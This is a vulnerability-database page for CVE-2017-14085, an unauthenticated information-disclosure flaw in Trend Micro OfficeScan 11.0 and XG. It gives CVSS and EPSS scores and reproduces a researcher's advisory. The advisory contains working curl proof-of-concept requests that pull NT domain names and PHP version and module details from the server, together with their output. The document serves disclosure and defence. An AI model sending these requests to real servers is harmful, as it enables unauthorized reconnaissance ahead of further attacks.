CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Information disclosure vulnerabilities in Trend Micro OfficeScan 11.0 and XG may allow unauthenticated users who can access the OfficeScan server to query the network's NT domain or the PHP version and modules.
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
5.3
MEDIUM
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
Low
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
7.86%
–
–
–
–
2021-09-05
–
7.86%
–
–
–
2021-11-07
–
7.86%
–
–
–
2022-01-09
–
7.86%
–
–
–
2022-02-06
–
–
10.8%
–
–
2022-04-03
–
–
10.8%
–
–
2022-07-17
–
–
10.8%
–
–
2022-07-24
–
–
10.8%
–
–
2022-10-16
–
–
10.8%
–
–
2023-01-01
–
–
10.8%
–
–
2023-02-26
–
–
10.8%
–
–
2023-03-12
–
–
–
1.88%
–
2024-01-14
–
–
–
1.35%
–
2024-02-11
–
–
–
1.35%
–
2024-06-02
–
–
–
1.35%
–
2024-10-13
–
–
–
1.35%
–
2024-12-22
–
–
–
1.47%
–
2025-01-12
–
–
–
1.47%
–
2025-01-19
–
–
–
1.47%
–
2025-03-18
–
–
–
–
11.27%
2025-03-18
–
–
–
–
11.27,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14085-TRENDMICRO-OFFICESCAN-XG-REMOTE-NT-DOMAIN-PHP-INFO-DISCLOSURE.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.trendmicro.com
Product:
===========
OfficeScan
v11.0 and XG (12.0)*
Vulnerability Type:
===================
Unauthorized NT Domain Disclosure
Unauthorized PHP Information Disclosure
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.
CVE Reference:
==============
CVE-2017-14085
Security Issue(s):
================
( NT Domain Disclosure )
Remote unauthenticated attackers who reach the TrendMicro OfficeScan XG application can query the networks NT domains.
NT enumeration is leaked by the web interface when it should not do so. Usually, you use NET commands so while this NT enumeration
is not high in severity, it should not return this information and especially to unauthorized users as it can aid in launching
further attacks.
( PHP Information Disclosure )
Remote unauthenticated attackers that can connect to TrendMicro OfficeScan XG application can query the PHP version and modules.
In 'analyzeWF.php" we see get_loaded_extensions() and phpversion() calls, but session or authentication check is made.
$strAnalyzeResultHeader .= analyzeWFShowItemInfo('Current PHP version: '.phpversion());
$strAnalyzeResultHeader .= analyzeWFShowItemInfo('PHP extensions: '.implode(', ',get_loaded_extensions()));
$strAnalyzeResultHeader .= analyzeWFShowItemInfo('WGF version : '.$strVersion);
etc...
References:
===========
https://success.trendmicro.com/solution/1118372
Exploit/POC (NT Domain Disclosure):
=====================================
[root@localhost /]# curl -v -k https://VICTIM-IP:4343/officescan/console/RemoteInstallCGI/cgiGetNTDomain.exe
* About to connect() to VICTIM-IP port 4343
* Trying VICTIM-IP... connected
< HTTP/1.1 200 OK
< Pragma: no-cache
< Content-Type: text/plain;charset=utf-8
< Server: Microsoft-IIS/7.5
< X-Powered-By: ASP.NET
< Date: Thu, 01 Jun 2017 15:27:27 GMT
< Connection: close
< Content-Length: 510
{
"ERROR" : {
"ERROR_CODE" : 0
},
"RESPONSE" : {
"NODES" : [
{
"NAME" : "Avaya"
},
{
"NAME" : "Km-netprinters"
},
{
"NAME" : "Mshome"
},
{
"NAME" : "Printserver"
},
{
"NAME" : "MyDomain"
},
{
"NAME" : "Workgroup"
},
{
"NAME" : "Xpemb"
}
]
}
}
Exploit / POC (PHP Information Disclosure):
============================================
c:\> curl -k https://VICTIM-IP:4343/officescan/console/html/widget/repository/widgetPool/wp1/interface/analyzeWF.php
HTTP/1.1 200 OK
[INI_UPDATE_SECTION]
>>>> Start Anaylze WGF : 2017-06-02 15:58:26
[INFO] Current PHP version: 7.0.6
[INFO] PHP extensions: Core, bcmath, calendar, ctype, date, filter, hash, iconv, json, mcrypt, SPL, pcre, Reflection, session, standard, mysqlnd, tokenizer, zip, zlib, libxml, dom, PDO, openssl, SimpleXML, xml, wddx, xmlreader, xmlwriter, cgi-fcgi, curl, gmp, ldap, mbstring, Phar, pdo_sqlite, soap, com_dotnet
[INFO] WGF version : 3.8
[INFO] WGF current wp in /path/to/widgetPool/config.php : wp2
[INFO] WGF is /path/to/widgets_new exists : true
[ERROR] C:\Windows\TEMP check read/write permissions : failed
To solved this problem please reference document here.
etc...
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=====================
Vendor Notification: June 2, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
